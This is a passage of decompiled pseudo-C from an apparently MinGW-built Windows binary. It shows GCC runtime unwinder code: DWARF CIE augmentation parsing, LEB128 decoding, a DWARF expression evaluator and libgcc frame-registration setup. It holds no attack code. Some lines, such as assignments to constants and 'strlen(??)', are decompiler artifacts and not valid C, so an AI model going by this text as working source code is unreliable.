									__eflags =  *((char*)(__edx - 4)) - 0x4d;
									if( *((char*)(__edx - 4)) != 0x4d) {
										goto L60;
									} else {
										__eflags =  *__edx - 0x64;
										if( *__edx != 0x64) {
											goto L60;
										} else {
											__eflags =  *((char*)(__edx + 1)) - 0x8b;
											if( *((char*)(__edx + 1)) != 0x8b) {
												goto L63;
											} else {
												__eax =  *(__ecx + 8);
												L80:
												_t96 = __eax + 0xc4; // 0x5e5bd089
												__edx =  *_t96;
												 *(__edi + 4) = 1;
												 *(__edi + 0xa0) = 1;
												__esi = __edx;
												 *(__edi + 0x1c) = 1;
												__esi = __edx - __ecx;
												_t100 = __eax + 0xb0; // 0x4486a0
												__ecx = _t100;
												 *(__edi + 0x98) = 4;
												__ecx = _t100 - __edx;
												 *(__edi + 0x94) = __esi;
												 *__edi = _t100 - __edx;
												_t103 = __eax + 0xa4; // 0x448694
												_t103 = _t103 - __edx;
												 *(__edi + 0xc) = 1;
												 *((intOrPtr*)(__edi + 0x18)) = _t103 - __edx;
												_t106 = __eax + 0xac; // 0x44869c
												_t106 = _t106 - __edx;
												 *(__edi + 0x14) = 1;
												 *((intOrPtr*)(__edi + 8)) = _t106 - __edx;
												_t109 = __eax + 0xa8; // 0x448698
												_t109 = _t109 - __edx;
												 *(__edi + 0x34) = 1;
												 *((intOrPtr*)(__edi + 0x10)) = _t109 - __edx;
												_t112 = __eax + 0xa0; // 0x448690
												_t112 = _t112 - __edx;
												 *(__edi + 0x3c) = 1;
												 *((intOrPtr*)(__edi + 0x30)) = _t112 - __edx;
												_t115 = __eax + 0x9c; // 0x44868c
												_t115 = _t115 - __edx;
												 *(__edi + 0x2c) = 1;
												 *((intOrPtr*)(__edi + 0x38)) = _t115 - __edx;
												_t118 = __eax + 0xb4; // 0x4486a4
												__ecx = _t118;
												__eax = __eax + 0xb8;
												__eax = __eax - __edx;
												__ecx = _t118 - __edx;
												 *(__edi + 0x44) = 1;
												 *(__edi + 0x40) = __eax;
												__eax = 0;
												 *(__edi + 0x28) = _t118 - __edx;
												 *(__edi + 0xb4) = 8;
												 *((char*)(__edi + 0xbb)) = 1;
												goto L51;
											}
										}
									}
								} else {
									L60:
									__eflags =  *((char*)(__edx - 1)) - 0x83;
									if( *((char*)(__edx - 1)) != 0x83) {
										goto L63;
									} else {
										__eflags =  *__edx - 9;
										if( *__edx != 9) {
											goto L63;
										} else {
											__eflags =  *((char*)(__edx + 1));
											if( *((char*)(__edx + 1)) == 0) {
												__eflags =  *((char*)(__edx + 2)) - 0x2d;
												if( *((char*)(__edx + 2)) != 0x2d) {
													goto L63;
												} else {
													__eflags =  *((char*)(__edx + 3));
													if( *((char*)(__edx + 3)) != 0) {
														goto L63;
													} else {
														__eflags =  *((char*)(__edx + 4)) - 0x10;
														if( *((char*)(__edx + 4)) != 0x10) {
															goto L63;
														} else {
															__eflags =  *((char*)(__edx + 5));
															if( *((char*)(__edx + 5)) != 0) {
																goto L63;
															} else {
																 *(__edi + 0xa0) = 1;
																__eax = 0;
																 *(__edi + 0x98) = 4;
																 *(__edi + 0x94) = 4;
																 *(__edi + 0xc) = 1;
																 *((intOrPtr*)(__edi + 8)) = 0xfffffffc;
																 *(__edi + 0xb4) = 8;
																 *(__edi + 0x44) = 1;
																 *(__edi + 0x40) = 0;
																 *((char*)(__edi + 0xbb)) = 1;
																goto L51;
															}
														}
													}
												}
											} else {
												goto L63;
											}
										}
									}
								}
							}
						}
					} else {
						__eax =  *(__eax + 0x5c);
						__ecx = _v60;
						 *(__edi + 0xa4) = __eax;
						__eax = __ecx + 4;
						__eax = __ecx + 4 -  *(__ecx + 4);
						_t23 = __eax + 9; // 0x474e554c
						__ebx = _t23;
						__esi = __eax;
						_v52 = __eax;
						 *__esp = __ebx;
						_v56 = __ebx;
						__eax = strlen(??);
						__eflags =  *(__esi + 9) - 0x65;
						_t28 = __eax + 1; // 0x474e554d
						__eax = __ebx + _t28;
						if( *(__esi + 9) == 0x65) {
							__esi = _v52;
							__eflags =  *((char*)(__esi + 0xa)) - 0x68;
							if( *((char*)(__esi + 0xa)) == 0x68) {
								__edx =  *__eax;
								__ecx = __esi + 0xb;
								__eax = __eax + 4;
								_v56 = __esi + 0xb;
								 *(__edi + 0xbc) = __edx;
							}
						}
						__esi = _v52;
						__ebx =  *__eax & 0x000000ff;
						__ecx =  *(_v52 + 8) & 0x000000ff;
						_v45 = __cl;
						__eflags = __cl - 3;
						if(__cl > 3) {
							__eflags = __bl - 4;
							if(__bl != 4) {
								goto L69;
							} else {
								__eflags =  *(__eax + 1);
								if( *(__eax + 1) != 0) {
									goto L69;
								} else {
									__ebx =  *(__eax + 2) & 0x000000ff;
									__eax = __eax + 2;
									goto L10;
								}
							}
						} else {
							L10:
							__esi = 0;
							__ecx = 0;
							while(1) {
								__edx = __ebx;
								__eax = __eax + 1;
								__ebx & 0x0000007f = (__ebx & 0x0000007f) << __cl;
								__ecx = __ecx + 7;
								__esi = __esi | (__ebx & 0x0000007f) << __cl;
								__eflags = __bl;
								if(__bl >= 0) {
									break;
								}
								__ebx =  *__eax & 0x000000ff;
							}
							 *(__edi + 0xb0) = __esi;
							__ebp = 0;
							__ecx = 0;
							while(1) {
								_t33 = __eax + 1; // 0x474e554d
								__esi = _t33;
								__ebx =  *(__esi - 1) & 0x000000ff;
								__ebx = __ebx & 0x0000007f;
								__edx = (__ebx & 0x0000007f) << __cl;
								__ecx = __ecx + 7;
								__ebp = __ebp | (__ebx & 0x0000007f) << __cl;
								__eflags = __bl;
								if(__bl >= 0) {
									break;
								}
								__eax = __esi;
							}
							__edx = __esi;
							__esi = __ebx;
							__ebx = __edx;
							__eflags = __ecx - 0x1f;
							if(__ecx <= 0x1f) {
								__esi = __esi & 0x00000040;
								__eflags = __esi;
								if(__esi != 0) {
									0xffffffff = 0xffffffff << __cl;
									__ebp = __ebp | 0xffffffff << __cl;
									__eflags = __ebp;
								}
							}
							__edx = 0;
							__ecx = 0;
							__eflags = _v45 - 1;
							 *(__edi + 0xac) = __ebp;
							__esi = 0;
							if(_v45 == 1) {
								__edx =  *__ebx & 0x000000ff;
								_t50 = __eax + 2; // 0x474e554e
								__ebx = _t50;
								 *(__edi + 0xb4) = __edx;
							} else {
								do {
									__ebx = __ebx + 1;
									__edx =  *(__ebx - 1) & 0x000000ff;
									 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
									__eax = ( *(__ebx - 1) & 0x7f) << __cl;
									__ecx = __ecx + 7;
									__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
									__eflags = __dl;
								} while (__dl < 0);
								 *(__edi + 0xb4) = __esi;
							}
							__eax = _v56;
							 *(__edi + 0xb9) = 0xff;
							__ebp = 0;
							__eax =  *_v56 & 0x000000ff;
							__eflags = __al - 0x7a;
							if(__al == 0x7a) {
								__esi = 0;
								__ecx = 0;
								__eflags = 0;
								do {
									__ebx = __ebx + 1;
									__edx =  *(__ebx - 1) & 0x000000ff;
									 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
									__eax = ( *(__ebx - 1) & 0x7f) << __cl;
									__ecx = __ecx + 7;
									__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
									__eflags = __dl;
								} while (__dl < 0);
								__ebp = __ebx + __esi;
								__esi = _v56;
								 *((char*)(__edi + 0xba)) = 1;
								__ecx = __esi + 1;
								__eax =  *(__esi + 1) & 0x000000ff;
								_v56 = __ecx;
							}
							__esi = _v56;
							_v56 = __ebp;
							__ebp = __ebx;
							__esi = _v56 + 1;
							while(1) {
								__eflags = __al;
								if(__al == 0) {
									break;
								}
								__eflags = __al - 0x4c;
								if(__al != 0x4c) {
									__eflags = __al - 0x52;
									if(__al == 0x52) {
										__eax =  *__ebp & 0x000000ff;
										__ebp =  &_a1;
										 *(__edi + 0xb8) = __al;
										goto L29;
									} else {
										__eflags = __al - 0x50;
										if(__al == 0x50) {
											__ebx =  *__ebp & 0x000000ff;
											__edx = _v64;
											__eax = __ebx;
											__eax = E00438E40(__ebx, __ecx, _v64);
											__edx =  &_v32;
											_t55 =  &_a1; // 0x474e554f
											__ecx = _t55;
											 *__esp =  &_v32;
											__edx = __eax;
											__eax = __ebx;
											__ebp = E00438D00(__ebx, __ecx, __edx);
											__eax = _v32;
											 *((intOrPtr*)(__edi + 0xa8)) = _v32;
											goto L29;
										} else {
											__eflags = __al - 0x53;
											if(__al != 0x53) {
												__ebp = _v56;
												L68:
												__eflags = __ebp;
												if(__ebp != 0) {
													L39:
													__esi = _v52;
													__ecx = _v64;
													__eax =  *__esi;
													 *__esp = __edi;
													__edx = __esi +  *__esi + 4;
													__ebp = E00438E80(__ebp, __ecx, __edx);
													__eax =  *(__edi + 0xb8) & 0x000000ff;
													__eflags = __al - 0xff;
													if(__al == 0xff) {
														__ebx = 8;
														goto L45;
													} else {
														__eax = __eax & 0x00000007;
														__eflags = __al - 2;
														if(__eflags == 0) {
															__ebx = 0xc;
															goto L45;
														} else {
															if(__eflags <= 0) {
																__eflags = __al;
																if(__al != 0) {
																	goto L97;
																} else {
																	goto L56;
																}
															} else {
																__eflags = __al - 3;
																if(__al == 3) {
																	L56:
																	__ebx = 0x10;
																	goto L45;
																} else {
																	__eflags = __al - 4;
																	if(__al != 4) {
																		L97:
																		abort();
																		_push(__ebp);
																		_push(__edi);
																		_push(__esi);
																		__esi = __eax;
																		_push(__ebx);
																		__esp = __esp - 0x13c;
																		__eax = _v88;
																		_v400 = __edx;
																		_v396 = __ecx;
																		_v376 = __eax;
																		__eflags = __esi - __edx;
																		if(__esi >= __edx) {
																			L108:
																			__esp =  &(__esp[0x4f]);
																			return __eax;
																		} else {
																			_v404 = 1;
																			do {
																				__eax =  *__esi & 0x000000ff;
																				_t149 = __esi + 1; // 0x1
																				__ebx = _t149;
																				__ecx = __eax - 3;
																				__edx = __eax;
																				__eflags = __cl - 0xee;
																				if(__cl > 0xee) {
																					L190:
																					abort();
																					goto L191;
																				} else {
																					__ecx = __cl & 0x000000ff;
																					switch( *((intOrPtr*)(__ecx * 4 +  &M00538DB0))) {
																						case 0:
																							__ebp = _v404;
																							__edi =  *(__esi + 1);
																							__esi = __esi + 5;
																							__eflags = __esi;
																							goto L103;
																						case 1:
																							goto L190;
																						case 2:
																							__eax = _v404;
																							__eflags = __eax;
																							if(__eax == 0) {
																								goto L223;
																							} else {
																								__ebp = __eax;
																								__ebp =  &_v1;
																								__edi =  *(__esp + 0x30 + __ebp * 4);
																								__eflags = __dl - 0x1f;
																								if(__eflags == 0) {
																									__edi =  ~__edi;
																									__esi = __ebx;
																								} else {
																									if(__eflags <= 0) {
																										L191:
																										__eflags = __dl - 6;
																										if(__dl != 6) {
																											__eflags = __dl - 0x19;
																											if(__dl != 0x19) {
																												goto L190;
																											} else {
																												__eax = __edi;
																												__esi = __ebx;
																												__eax = __edi >> 0x1f;
																												__edi = __edi ^ __eax;
																												__edi = __edi - __eax;
																											}
																										} else {
																											__edi =  *__edi;
																											__esi = __ebx;
																										}
																									} else {
																										__eflags = __dl - 0x23;
																										if(__dl == 0x23) {
																											__esi = 0;
																											__ecx = 0;
																											__eflags = 0;
																											do {
																												__ebx = __ebx + 1;
																												__edx =  *(__ebx - 1) & 0x000000ff;
																												 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																												__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																												__ecx = __ecx + 7;
																												__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																												__eflags = __dl;
																											} while (__dl < 0);
																											__edi = __edi + __esi;
																											__esi = __ebx;
																										} else {
																											__eflags = __dl - 0x94;
																											if(__dl != 0x94) {
																												__eflags = __dl - 0x20;
																												if(__dl == 0x20) {
																													__edi =  !__edi;
																													__esi = __ebx;
																												} else {
																													goto L190;
																												}
																											} else {
																												__eax =  *(__esi + 1) & 0x000000ff;
																												__edx = __esi + 2;
																												__eflags = __al - 2;
																												if(__eflags == 0) {
																													__edi =  *__edi & 0x0000ffff;
																													__esi = __edx;
																												} else {
																													if(__eflags <= 0) {
																														__eflags = __al - 1;
																														if(__al != 1) {
																															goto L190;
																														} else {
																															__edi =  *__edi & 0x000000ff;
																															__esi = __edx;
																														}
																													} else {
																														__eflags = __al - 4;
																														if(__al == 4) {
																															L124:
																															__edi =  *__edi;
																															__esi = __edx;
																														} else {
																															__eflags = __al - 8;
																															if(__al != 8) {
																																goto L190;
																															} else {
																																goto L124;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L103;
																							}
																							goto L235;
																						case 3:
																							__edi =  *(__esi + 1) & 0x000000ff;
																							__ebp = _v404;
																							__esi = __esi + 2;
																							goto L103;
																						case 4:
																							__edi =  *(__esi + 1);
																							__ebp = _v404;
																							__esi = __esi + 2;
																							goto L103;
																						case 5:
																							__edi =  *(__esi + 1) & 0x0000ffff;
																							__ebp = _v404;
																							__esi = __esi + 3;
																							goto L103;
																						case 6:
																							__edi =  *(__esi + 1);
																							__ebp = _v404;
																							__esi = __esi + 3;
																							goto L103;
																						case 7:
																							__edi =  *(__esi + 1);
																							__ebp = _v404;
																							__esi = __esi + 9;
																							goto L103;
																						case 8:
																							__esi = __ebx;
																							__edi = 0;
																							__ecx = 0;
																							__eflags = 0;
																							do {
																								__esi = __esi + 1;
																								__edx =  *(__esi - 1) & 0x000000ff;
																								 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
																								__eax = ( *(__esi - 1) & 0x7f) << __cl;
																								__ecx = __ecx + 7;
																								__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
																								__eflags = __dl;
																							} while (__dl < 0);
																							__ebp = _v404;
																							goto L103;
																						case 9:
																							__edi = 0;
																							__ecx = 0;
																							__eflags = 0;
																							do {
																								__ebx = __ebx + 1;
																								__edx =  *(__ebx - 1) & 0x000000ff;
																								__edx = __edx & 0x0000007f;
																								__eax = (__edx & 0x0000007f) << __cl;
																								__ecx = __ecx + 7;
																								__edi = __edi | (__edx & 0x0000007f) << __cl;
																								__eflags = __dl;
																							} while (__dl < 0);
																							__eflags = __ecx - 0x1f;
																							if(__ecx > 0x1f) {
																								goto L188;
																							} else {
																								__edx = __edx & 0x00000040;
																								__eflags = __edx;
																								if(__edx == 0) {
																									goto L188;
																								} else {
																									__eax = 1;
																									__ebp = _v404;
																									__esi = __ebx;
																									1 << __cl =  ~(1 << __cl);
																									__edi = __edi |  ~(1 << __cl);
																								}
																							}
																							goto L103;
																						case 0xa:
																							__ebp = _v404;
																							__eflags = __ebp;
																							if(__ebp == 0) {
																								goto L223;
																							} else {
																								__edi =  *(__esp + 0x2c + __ebp * 4);
																								__esi = __ebx;
																								goto L103;
																							}
																							goto L235;
																						case 0xb:
																							__eax = _v404;
																							__eflags = __eax;
																							if(__eax == 0) {
																								goto L223;
																							} else {
																								__eax = __eax - 1;
																								__esi = __ebx;
																								_v404 = __eax;
																								goto L105;
																							}
																							goto L235;
																						case 0xc:
																							__ebp = _v404;
																							__eflags = __ebp - 1;
																							if(__ebp <= 1) {
																								goto L223;
																							} else {
																								__edi =  *(__esp + 0x28 + __ebp * 4);
																								__esi = __ebx;
																								goto L103;
																							}
																							goto L235;
																						case 0xd:
																							__ebp = _v404;
																							__ecx =  *(__esi + 1) & 0x000000ff;
																							__edx = __esi + 2;
																							__eax =  &_v1;
																							__eflags = __ecx - __eax;
																							if(__ecx >= __eax) {
																								goto L223;
																							} else {
																								__eax = __eax - __ecx;
																								__esi = __edx;
																								__edi =  *(__esp + 0x30 + __eax * 4);
																								goto L103;
																							}
																							goto L235;
																						case 0xe:
																							__eax = _v404;
																							__eflags = __eax - 1;
																							if(__eax <= 1) {
																								goto L223;
																							} else {
																								__edx = __eax - 1;
																								__eax = __eax - 2;
																								__esi =  *(__esp + 0x30 + __eax * 4);
																								__ecx =  *(__esp + 0x30 + __edx * 4);
																								 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
																								__esi = __ebx;
																								 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
																								goto L105;
																							}
																							goto L235;
																						case 0xf:
																							__eax = _v404;
																							__eflags = __eax - 2;
																							if(__eax <= 2) {
																								goto L223;
																							} else {
																								__ecx = __eax - 1;
																								__edx = __eax - 2;
																								__eax = __eax - 3;
																								__esi =  *(__esp + 0x30 + __ecx * 4);
																								__ebp =  *(__esp + 0x30 + __edx * 4);
																								__edi =  *(__esp + 0x30 + __eax * 4);
																								 *(__esp + 0x30 + __ecx * 4) = __ebp;
																								 *(__esp + 0x30 + __edx * 4) = __edi;
																								 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
																								__esi = __ebx;
																								goto L105;
																							}
																							goto L235;
																						case 0x10:
																							__eax = _v404;
																							__eflags = __eax - 1;
																							if(__eax <= 1) {
																								goto L223;
																							} else {
																								__ebp = __eax - 2;
																								__edx = __edx - 0x1a;
																								__ecx =  *(__esp + 0x2c + __eax * 4);
																								__edi =  *(__esp + 0x30 + __ebp * 4);
																								__eflags = __dl - 0x14;
																								if(__dl > 0x14) {
																									goto L190;
																								} else {
																									__edx = __dl & 0x000000ff;
																									switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M0053916C))) {
																										case 0:
																											goto L205;
																										case 1:
																											goto L206;
																										case 2:
																											goto L207;
																										case 3:
																											goto L208;
																										case 4:
																											goto L209;
																										case 5:
																											goto L190;
																										case 6:
																											goto L210;
																										case 7:
																											goto L211;
																										case 8:
																											goto L212;
																										case 9:
																											goto L213;
																										case 0xa:
																											goto L214;
																										case 0xb:
																											goto L215;
																										case 0xc:
																											goto L216;
																										case 0xd:
																											goto L217;
																										case 0xe:
																											goto L218;
																										case 0xf:
																											goto L219;
																										case 0x10:
																											goto L220;
																										case 0x11:
																											goto L221;
																									}
																								}
																								goto L103;
																							}
																							goto L235;
																						case 0x11:
																							__eax = _v404;
																							__eflags = __eax;
																							if(__eax == 0) {
																								goto L223;
																							} else {
																								__eax = __eax - 1;
																								__edi = __eax;
																								_v404 = __eax;
																								__eax = __esi + 3;
																								__edx =  *(__esp + 0x30 + __edi * 4);
																								__eflags =  *(__esp + 0x30 + __edi * 4);
																								if( *(__esp + 0x30 + __edi * 4) == 0) {
																									__esi = __eax;
																								} else {
																									__esi =  *(__esi + 1);
																									__esi = __esi + __eax;
																								}
																								goto L105;
																							}
																							goto L235;
																						case 0x12:
																							__eax =  *(__esi + 1);
																							__esi = __esi +  *(__esi + 1) + 3;
																							goto L105;
																						case 0x13:
																							__edi = __eax - 0x30;
																							__ebp = _v404;
																							__esi = __ebx;
																							goto L103;
																						case 0x14:
																							__eax = __eax - 0x50;
																							__eflags = __eax - 0x11;
																							if(__eax > 0x11) {
																								goto L223;
																							} else {
																								__esi = _v396;
																								__edx =  *(__eax + 0x57d3f4) & 0x000000ff;
																								__edi =  *(__esi + __eax * 4);
																								__eflags =  *(__esi + 0x63) & 0x00000040;
																								if(( *(__esi + 0x63) & 0x00000040) == 0) {
																									L146:
																									__eflags = __dl - 4;
																									if(__dl == 4) {
																										goto L132;
																									} else {
																										goto L223;
																									}
																								} else {
																									__eflags =  *((char*)(__esi + __eax + 0x6c));
																									if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																										goto L188;
																									} else {
																										goto L146;
																									}
																								}
																							}
																							goto L235;
																						case 0x15:
																							__ebp = 0;
																							__ecx = 0;
																							__eflags = 0;
																							__esi = __eax;
																							do {
																								__ebx = __ebx + 1;
																								__eax =  *(__ebx - 1) & 0x000000ff;
																								__eax = __eax & 0x0000007f;
																								__edx = (__eax & 0x0000007f) << __cl;
																								__ecx = __ecx + 7;
																								__ebp = __ebp | (__eax & 0x0000007f) << __cl;
																								__eflags = __al;
																							} while (__al < 0);
																							__edi = __eax;
																							__eax = __esi;
																							__esi = __edi;
																							__eflags = __ecx - 0x1f;
																							if(__ecx <= 0x1f) {
																								__esi = __esi & 0x00000040;
																								__eflags = __esi;
																								if(__esi != 0) {
																									1 = 1 << __cl;
																									__edx =  ~(1 << __cl);
																									__ebp = __ebp |  ~(1 << __cl);
																								}
																							}
																							__eax = __eax - 0x70;
																							__eflags = __eax - 0x11;
																							if(__eax > 0x11) {
																								goto L223;
																							} else {
																								__esi = _v396;
																								__edx =  *(__eax + 0x57d3f4) & 0x000000ff;
																								__edi =  *(__esi + __eax * 4);
																								__eflags =  *(__esi + 0x63) & 0x00000040;
																								if(( *(__esi + 0x63) & 0x00000040) == 0) {
																									L140:
																									__eflags = __dl - 4;
																									if(__dl != 4) {
																										goto L223;
																									} else {
																										__edi =  *__edi;
																										goto L142;
																									}
																								} else {
																									__eflags =  *((char*)(__esi + __eax + 0x6c));
																									if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																										L142:
																										__edi = __edi + __ebp;
																										__esi = __ebx;
																										__ebp = _v404;
																										goto L103;
																									} else {
																										goto L140;
																									}
																								}
																							}
																							goto L235;
																						case 0x16:
																							__esi = 0;
																							__ecx = 0;
																							__eflags = 0;
																							do {
																								__ebx = __ebx + 1;
																								__edx =  *(__ebx - 1) & 0x000000ff;
																								 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																								__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																								__ecx = __ecx + 7;
																								__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																								__eflags = __dl;
																							} while (__dl < 0);
																							__eflags = __esi - 0x11;
																							if(__esi > 0x11) {
																								goto L223;
																							} else {
																								__ecx = _v396;
																								__eax =  *(__esi + 0x57d3f4) & 0x000000ff;
																								__edi =  *(__ecx + __esi * 4);
																								__eflags =  *(__ecx + 0x63) & 0x00000040;
																								if(( *(__ecx + 0x63) & 0x00000040) == 0) {
																									L131:
																									__eflags = __al - 4;
																									if(__al != 4) {
																										goto L223;
																									} else {
																										L132:
																										__edi =  *__edi;
																										__ebp = _v404;
																										__esi = __ebx;
																										goto L103;
																									}
																								} else {
																									__eflags =  *((char*)(__ecx + __esi + 0x6c));
																									if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																										L188:
																										__ebp = _v404;
																										__esi = __ebx;
																										goto L103;
																									} else {
																										goto L131;
																									}
																								}
																							}
																							goto L235;
																						case 0x17:
																							__esi = 0;
																							__ecx = 0;
																							__eflags = 0;
																							do {
																								__ebx = __ebx + 1;
																								__edx =  *(__ebx - 1) & 0x000000ff;
																								 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																								__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																								__ecx = __ecx + 7;
																								__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																								__eflags = __dl;
																							} while (__dl < 0);
																							__edi = 0;
																							__ecx = 0;
																							__eflags = 0;
																							do {
																								__ebx = __ebx + 1;
																								__eax =  *(__ebx - 1) & 0x000000ff;
																								 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																								__edx = ( *(__ebx - 1) & 0x7f) << __cl;
																								__ecx = __ecx + 7;
																								__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
																								__eflags = __al;
																							} while (__al < 0);
																							__eflags = __ecx - 0x1f;
																							if(__ecx <= 0x1f) {
																								__eflags = __al & 0x00000040;
																								if((__al & 0x00000040) != 0) {
																									1 = 1 << __cl;
																									__eax =  ~(1 << __cl);
																									__edi = __edi |  ~(1 << __cl);
																								}
																							}
																							__eflags = __esi - 0x11;
																							if(__esi > 0x11) {
																								goto L223;
																							} else {
																								__ecx = _v396;
																								__edx =  *(__esi + 0x57d3f4) & 0x000000ff;
																								__eax =  *(__ecx + __esi * 4);
																								__eflags =  *(__ecx + 0x63) & 0x00000040;
																								if(( *(__ecx + 0x63) & 0x00000040) == 0) {
																									L173:
																									__eflags = __dl - 4;
																									if(__dl != 4) {
																										goto L223;
																									} else {
																										__eax =  *__eax;
																										goto L175;
																									}
																								} else {
																									__eflags =  *((char*)(__ecx + __esi + 0x6c));
																									if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																										L175:
																										__edi = __edi + __eax;
																										__ebp = _v404;
																										__esi = __ebx;
																										goto L103;
																									} else {
																										goto L173;
																									}
																								}
																							}
																							goto L235;
																						case 0x18:
																							__esi = __ebx;
																							goto L105;
																						case 0x19:
																							__ebx =  *(__esi + 1) & 0x000000ff;
																							__edx = _v396;
																							__edi =  &_v380;
																							__eax = __ebx;
																							__eax = E00438E40(__ebx, __ecx, _v396);
																							 *__esp =  &_v380;
																							__ecx = __esi + 2;
																							__edx = __eax;
																							__eax = __ebx;
																							__eax = E00438D00(__ebx, __esi + 2, __edx);
																							__edi = _v380;
																							__ebp = _v404;
																							__esi = __eax;
																							goto L103;
																						case 0x1a:
																							L205:
																							__edi = __edi & __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x1b:
																							L206:
																							__eax = __edi;
																							__esi = __ebx;
																							asm("cdq");
																							_t313 = __eax % __ecx;
																							__eax = __eax / __ecx;
																							__edx = _t313;
																							__edi = __eax;
																							goto L103;
																						case 0x1c:
																							L207:
																							__edi = __edi - __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x1d:
																							L208:
																							__eax = __edi;
																							__edx = 0;
																							__esi = __ebx;
																							_t317 = __eax % __ecx;
																							__eax = __eax / __ecx;
																							__edx = _t317;
																							__edi = _t317;
																							goto L103;
																						case 0x1e:
																							L209:
																							__edi = __edi * __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x1f:
																							L210:
																							__edi = __edi | __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x20:
																							L211:
																							__edi = __edi + __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x21:
																							L212:
																							__edi = __edi << __cl;
																							__esi = __ebx;
																							goto L103;
																						case 0x22:
																							L213:
																							__edi = __edi >> __cl;
																							__esi = __ebx;
																							goto L103;
																						case 0x23:
																							L214:
																							__edi = __edi >> __cl;
																							__esi = __ebx;
																							goto L103;
																						case 0x24:
																							L215:
																							__edi = __edi ^ __ecx;
																							__esi = __ebx;
																							goto L103;
																						case 0x25:
																							L216:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags == 0x00000000;
																							__edi = __eflags == 0;
																							goto L103;
																						case 0x26:
																							L217:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags >= 0x00000000;
																							__edi = __eflags >= 0;
																							goto L103;
																						case 0x27:
																							L218:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags > 0x00000000;
																							__edi = __eflags > 0;
																							goto L103;
																						case 0x28:
																							L219:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags <= 0x00000000;
																							__edi = __eflags <= 0;
																							goto L103;
																						case 0x29:
																							L220:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags < 0x00000000;
																							__edi = __eflags < 0;
																							goto L103;
																						case 0x2a:
																							L221:
																							__eax = 0;
																							__eflags = __edi - __ecx;
																							__esi = __ebx;
																							__eax = 0 | __eflags != 0x00000000;
																							__edi = __eflags != 0;
																							L103:
																							__eflags = __ebp - 0x3f;
																							if(__ebp > 0x3f) {
																								L223:
																								L004476B0();
																								abort();
																								abort();
																								abort();
																								abort();
																								abort();
																								L004476B0();
																								L004476B0();
																								abort();
																								abort();
																								abort();
																								abort();
																								abort();
																								abort();
																								_push(_t353);
																								_push(_t349);
																								_push(_t351);
																								_t359 = _t357 - 0x1c;
																								 *_t359 = "libgcc_s_dw2-1.dll";
																								_t336 = GetModuleHandleA(_t342);
																								_t360 = _t359 - 4;
																								if(_t336 == 0) {
																									 *0x4ce004 = 0x43c7d0;
																									_t352 = 0x43c580;
																								} else {
																									_t343 = _t336;
																									 *_t360 = "libgcc_s_dw2-1.dll";
																									_t339 = LoadLibraryA(??);
																									_t362 = _t360 - 4;
																									 *0x57ddf0 = _t339;
																									_v464 = "__register_frame_info";
																									 *_t362 = _t343;
																									_t340 = GetProcAddress(??, ??);
																									_t363 = _t362 - 8;
																									_t352 = _t340;
																									_v464 = "__deregister_frame_info";
																									 *_t363 = _t343;
																									 *0x4ce004 = GetProcAddress(??, ??);
																									_t360 = _t363 - 8;
																								}
																								if(_t352 != 0) {
																									_v464 = 0x57d01c;
																									 *_t360 = 0x5400f8;
																									 *_t352();
																								}
																								 *_t360 = E00401590;
																								return E004014C0();
																							} else {
																								__eax =  &_a1;
																								 *(__esp + 0x30 + __ebp * 4) = __edi;
																								_v404 =  &_a1;
																								goto L105;
																							}
																							goto L235;
																					}
																				}
																				goto L235;
																				L105:
																				__eflags = _v400 - __esi;
																			} while (_v400 > __esi);
																			__eax = _v404;
																			__eflags = __eax;
																			if(__eax == 0) {
																				goto L223;
																			} else {
																				__eax =  *(__esp + 0x2c + __eax * 4);
																				goto L108;
																			}
																		}
																	} else {
																		__ebx = 0x18;
																		L45:
																		__ebx = __ebx + _v60;
																		__eflags =  *((char*)(__edi + 0xba));
																		__ebp =  *(__edi + 0xb9) & 0x000000ff;
																		if( *((char*)(__edi + 0xba)) == 0) {
																			__eax = __ebp;
																			__eflags = __al - 0xff;
																			if(__al == 0xff) {
																				goto L50;
																			} else {
																				__esi = 0;
																				__eflags = 0;
																				goto L54;
																			}
																			goto L235;
																		} else {
																			__esi = 0;
																			__ecx = 0;
																			__eflags = 0;
																			do {
																				__ebx = __ebx + 1;
																				__edx =  *(__ebx - 1) & 0x000000ff;
																				 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
